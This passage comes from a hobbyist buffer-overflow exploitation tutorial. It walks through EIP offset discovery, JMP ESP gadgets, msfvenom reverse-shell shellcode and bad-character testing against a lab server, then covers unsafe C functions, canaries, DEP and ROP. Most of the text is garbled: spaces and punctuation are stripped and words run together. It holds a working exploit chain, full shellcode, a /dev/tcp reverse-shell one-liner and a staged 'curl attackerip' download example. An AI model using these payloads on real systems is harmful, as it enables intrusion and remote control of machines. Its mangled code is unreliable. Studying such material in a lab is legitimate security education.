mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

